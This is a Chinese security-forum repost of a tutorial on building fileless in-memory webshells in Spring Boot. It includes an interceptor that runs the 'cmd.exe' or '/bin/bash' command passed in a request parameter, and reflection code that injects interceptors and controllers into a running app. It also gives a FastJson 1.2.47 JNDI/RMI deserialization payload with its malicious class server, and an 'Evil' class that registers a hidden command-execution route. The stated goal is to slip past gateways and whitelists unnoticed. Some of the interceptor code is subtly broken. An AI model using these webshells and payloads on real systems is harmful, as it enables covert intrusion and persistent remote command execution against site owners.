安全矩阵

 找回密码
 立即注册
搜索
查看: 2651|回复: 0

深入浅出内存马(二) 之SpringBoot内存马(文末视频教学)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-15 21:24:30 | 显示全部楼层 |阅读模式
原文链接:深入浅出内存马(二) 之SpringBoot内存马(文末视频教学)

0x01 前言在上一篇文章中深入浅出内存马(一),我介绍了基于Tomcat的Filter内存马,不光是Filter 还有listener、servlet、controller 等不同形式的内存马。如今企业开发过程中,大部分使用的都是spring系列的框架进行开发,特别是SpringBoot,现在基本是企业开发的标配。所以探讨Spring系列下的内存马就显得非常必要了。
今天我们就来研究研究Spring Boot下的内存马实现。
0x02 需求随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关,复杂均衡,防火墙。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃,我们该如何解决这个问题?
所以,在注入内存马的时候,就尽量不要用新建的路由,或者shell地址。最好是在访问正常的业务地址之前,就能执行我们的代码。
根据这个文章里面的说法基于内存 Webshell 的无文件攻击技术研究
在经过一番文档查阅和源码阅读后,发现可能有不止一种方法可以达到以上效果。其中通用的技术点主要有以下几个:
  •         在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境;
  •         在不使用注解和修改配置文件的情况下,使用纯 java 代码在上下文环境中手动注册一个 controller;
  •         controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果;

0x03 SpringBoot的生命周期为了满足上面的需求,我们需要了解SpringBoot的生命周期,我们需要研究的是:一个请求到到应用层之前,需要经过那几个部分?是如何一步一步到到我们的Controller的?
我们用IDEA来搭建一个SpingBoot2 的环境

访问地址:

我们还是把断点打在org.apache.catalina.core.ApplicationFilterChain中的 internalDoFilter方法中

可以看到整个执行流程

这部分在上一篇文章中已经详细描述过,这里不在赘述。
但是这里不同的是在经过 Filter 层面处理后,就会进入熟悉的 spring-webmvc 组件 org.springframework.web.servlet.DispatcherServlet 类的 doDispatch 方法中。

跟进去这个方法

可以看到是遍历this.handlerMappings 这个迭代器中的mapper的getHandler 方法处理Http中的request请求。
继续追踪,最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例。

继续跟进getHandlerExecutionChain 方法,

  1.    protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
  2.         HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
  3.         Iterator var4 = this.adaptedInterceptors.iterator();

  4.         while(var4.hasNext()) {
  5.             HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
  6.             if (interceptor instanceof MappedInterceptor) {
  7.                 MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
  8.                 if (mappedInterceptor.matches(request)) {
  9.                     chain.addInterceptor(mappedInterceptor.getInterceptor());
  10.                 }
  11.             } else {
  12.                 chain.addInterceptor(interceptor);
  13.             }
  14.         }
  15.     //返回的是HandlerExecutonChain,这里包含了所有的拦截器
  16.         return chain;
  17.     }
复制代码


好了,现在我们知道程序在哪里加入的拦截器(interceptor)后,追踪到这行代码
  1. if (!mappedHandler.applyPreHandle(processedRequest, response)) {
  2.     return;
  3. }
复制代码


跟进之后发现interceptor.preHandle(request, response, this.handler) 会遍历拦截器,并执行其preHandle方法。

如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,一定程度上也起到了 "拦截" 的效果。
那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller
0x04 拦截器Interceptor 的理论探索用 Interceptor 来拦截所有进入 Controller 的 http 请求理论上是可行的,接下来就是实现从代码层面动态注入一个 Interceptor 来达到 webshell 的效果。
可以通过继承 HandlerInterceptorAdapter 类或者HandlerInterceptor 类并重写其 preHandle 方法实现拦截。preHandle是请求执行前执行,preHandle 方法中写一些拦截的处理,比如下面,当请求参数中带 id 时进行拦截,并写入字符串 InterceptorTest OK! 到 response。
​​
0x0401 模拟真实业务真实业务,这里模拟一个登录场景,登录成功返回login success。
  1. package com.evalshell.springboot.web;

  2. import com.evalshell.springboot.model.User;
  3. import org.springframework.beans.factory.annotation.Autowired;
  4. import org.springframework.stereotype.Controller;
  5. import org.springframework.web.bind.annotation.RequestMapping;
  6. import org.springframework.web.bind.annotation.ResponseBody;

  7. import javax.servlet.http.HttpServletRequest;

  8. @Controller
  9. @RequestMapping(value = "/user")
  10. public class UserCrotroller {

  11.     @RequestMapping(value = "/login")
  12.     public @ResponseBody Object login(HttpServletRequest request){
  13.       //简单模拟登录成功
  14.       //实体类User 我就不赘述了,就是有2个属性。并实现getter和setter 构造器方法
  15.         User user = new User();
  16.         user.setAge(18);
  17.         user.setName("jack");
  18.         request.getSession().setAttribute("user", user);
  19.         return "login success";
  20.     }
  21. }
复制代码


0x0402 编写自定义的Interceptor
  1. package com.evalshell.springboot.interceptor;

  2. import org.springframework.web.servlet.HandlerInterceptor;
  3. import org.springframework.web.servlet.ModelAndView;

  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;

  6. public class VulInterceptor implements HandlerInterceptor {
  7.     @Override
  8.     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
  9.         String code = request.getParameter("code");
  10.         if(code != null){
  11.             try {
  12.                 java.io.PrintWriter writer = response.getWriter();
  13.                 ProcessBuilder p;
  14.                 if(System.getProperty("os.name").toLowerCase().contains("win")){
  15.                     p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
  16.                 }else{
  17.                     System.out.println(code);
  18.                     p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
  19.                 }
  20.                 builder.redirectErrorStream(true);
  21.                 Process p = builder.start();
  22.                 BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
  23.                 String result = r.readLine();
  24.                 System.out.println(result);
  25.                 writer.println(result);
  26.                 writer.flush();
  27.                 writer.close();
  28.             }catch (Exception e){
  29.             }
  30.             return false;
  31.         }
  32.         return true;
  33.     }

  34.     @Override
  35.     public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
  36.         HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
  37.     }

  38.     @Override
  39.     public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
  40.         HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
  41.     }
  42. }
复制代码


0x0403 注册拦截器实现拦截器后还需要将拦截器注册到spring容器中,可以通过implements WebMvcConfigurer,覆盖其addInterceptors(InterceptorRegistry registry)方法
  1. package com.evalshell.springboot.config;

  2. import com.evalshell.springboot.interceptor.VulInterceptor;
  3. import org.springframework.context.annotation.Configuration;
  4. import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
  5. import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

  6. @Configuration
  7. public class InterceptorConfig implements WebMvcConfigurer {
  8.     @Override
  9.     public void addInterceptors(InterceptorRegistry registry) {
  10.       //这里是配置需要拦截的路由
  11.         String[] VulPathPatterns = {"/user/login"};

  12.         registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
  13.     }
  14. }
复制代码


可以看到达到的效果是访问正常路由,不会影响正常业务。如果是带有code的参数会执行code里面的代码,从而突破网关的限制。
那么我们现在已经明白了如何在springboot中进行拦截,并执行我们的内存马,但是还是有一个问题,如何注入我们的内存马?
在这里根据landgrey大佬的思路:
spring boot 初始化过程中会往 org.springframework.context.support.LiveBeansView 类的 applicationContexts 属性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 类的对象。bean 实例名字是 requestMappingHandlerMapping 或者比较老版本的 DefaultAnnotationHandlerMapping 。那么获取 adaptedInterceptors 属性值就比较简单了:
  1. org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
  2. java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
  3. field.setAccessible(true);
  4. java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
复制代码


我总结下就是:
  •         首先获取应用的上下文环境,也就是ApplicationContext
  •         然后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射)
  •         反射获取 AbstractHandlerMapping类的 adaptedInterceptors字段
  •         通过 adaptedInterceptors注册拦截器

0x05  实战为了方便搭建环境,我们采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点,我们在pom.xml中配置好我们的依赖,
  1. <dependencies>
  2.     <!-- 配置fastjson -->
  3.   <dependency>
  4.    <groupId>com.alibaba</groupId>
  5.    <artifactId>fastjson</artifactId>
  6.    <version>1.2.47</version>
  7.   </dependency>
  8.         <!-- 配置springboot2 ,小编使用的是2.5.3的版本-->
  9.     <dependency>
  10.    <groupId>org.springframework.boot</groupId>
  11.    <artifactId>spring-boot-starter-web</artifactId>
  12.   </dependency>
  13. </dependencies>
复制代码


手动创建一个FastJson的利用点,因为在 JDK 18u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,为了演示,我这里是用了JDK 18u102。
  1. @Controller
  2. public class VulController {

  3.     @RequestMapping(value = "/unserializer")
  4.     @ResponseBody
  5.     public String unserializer(@RequestParam String code){
  6.         JSON.parse(code);
  7.         return "unserializer";
  8.     }
  9. }
复制代码


创建RMI服务器
  1. package com.evalshell.server;

  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Reference;
  4. import java.rmi.registry.LocateRegistry;
  5. import java.rmi.registry.Registry;

  6. public class JNDIServer {
  7.     public static void main(String[] args) throws Exception {
  8.         Registry registry = LocateRegistry.createRegistry(1099);
  9.         Reference reference = new Reference("TouchFile",
  10.                 "com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
  11.         ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  12.         registry.bind("Exploit", referenceWrapper);
  13.     }
  14. }
复制代码


创建恶意代码
  1. package com.evalshell.server;
  2. import java.lang.Runtime;
  3. import java.lang.Process;

  4. public class TouchFile {
  5.     static {
  6.         try {
  7.             Runtime rt = Runtime.getRuntime();
  8.             String[] commands = {"open", "/System/Applications/Calculator.app"};
  9.             Process pc = rt.exec(commands);
  10.             pc.waitFor();
  11.         } catch (Exception e) {
  12.             // do nothing
  13.         }
  14.     }
  15. }
复制代码


启动JNDIServer,端口启动在了1099

在TouchFile的编译后的类路径下,开启web服务,提供恶意类文件的http下载服务,这个端口必须和上面的JNDIServer中配置的一致。

我们使用FastJson的Payload进行攻击
  1. {
  2.     "a":{
  3.         "@type":"java.lang.Class",
  4.         "val":"com.sun.rowset.JdbcRowSetImpl"
  5.     },
  6.     "b":{
  7.         "@type":"com.sun.rowset.JdbcRowSetImpl",
  8.         "dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
  9.         "autoCommit":true
  10.     }
  11. }
复制代码


用postman请求,攻击成功的话,就会弹出计算器,表示可以执行任意命令。

好的,上述已经搭建起一个Fastjson的漏洞环境。
使用上述方法编写拦截器内存马:
  1. package com.evalshell.server;
  2. import org.springframework.web.context.WebApplicationContext;
  3. import org.springframework.web.context.request.RequestContextHolder;
  4. import org.springframework.web.context.request.ServletRequestAttributes;
  5. import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
  6. import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
  7. import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
  8. import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
  9. import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

  10. import javax.servlet.http.HttpServletRequest;
  11. import javax.servlet.http.HttpServletResponse;
  12. import java.io.IOException;
  13. import java.lang.reflect.InvocationTargetException;
  14. import java.lang.reflect.Method;
  15. public class Evil {
  16.     public Evil() throws Exception{
  17.         // 关于获取Context的方式有多种
  18.         WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
  19.                 currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
  20.         RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  21.         Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
  22.         method.setAccessible(true);
  23.         // 通过反射获得该类的test方法
  24.         Method method2 = Evil.class.getMethod("test");
  25.         // 定义该controller的path
  26.         PatternsRequestCondition url = new PatternsRequestCondition("/good");
  27.         // 定义允许访问的HTTP方法
  28.         RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
  29.         // 构造注册信息
  30.         RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
  31.         // 创建用于处理请求的对象,避免无限循环使用另一个构造方法
  32.         Evil injectToController = new Evil("aaa");
  33.         // 将该controller注册到Spring容器
  34.         mappingHandlerMapping.registerMapping(info, injectToController, method2);
  35.     }

  36.     private Evil(String aaa) {
  37.     }

  38.     public void test() throws IOException {
  39.         // 获取请求
  40.         HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
  41.         // 获取请求的参数cmd并执行
  42.         // 类似于PHP的system($_GET["cmd"])
  43.         Runtime.getRuntime().exec(request.getParameter("cmd"));
  44.     }

  45. }
复制代码


同时修改JNDIServer类中的代码
将Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/"); 替换成 Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");
最后演示一下,使用fastjson RCE进行攻击并动态写入我们的内存马


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:59 , Processed in 0.017256 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表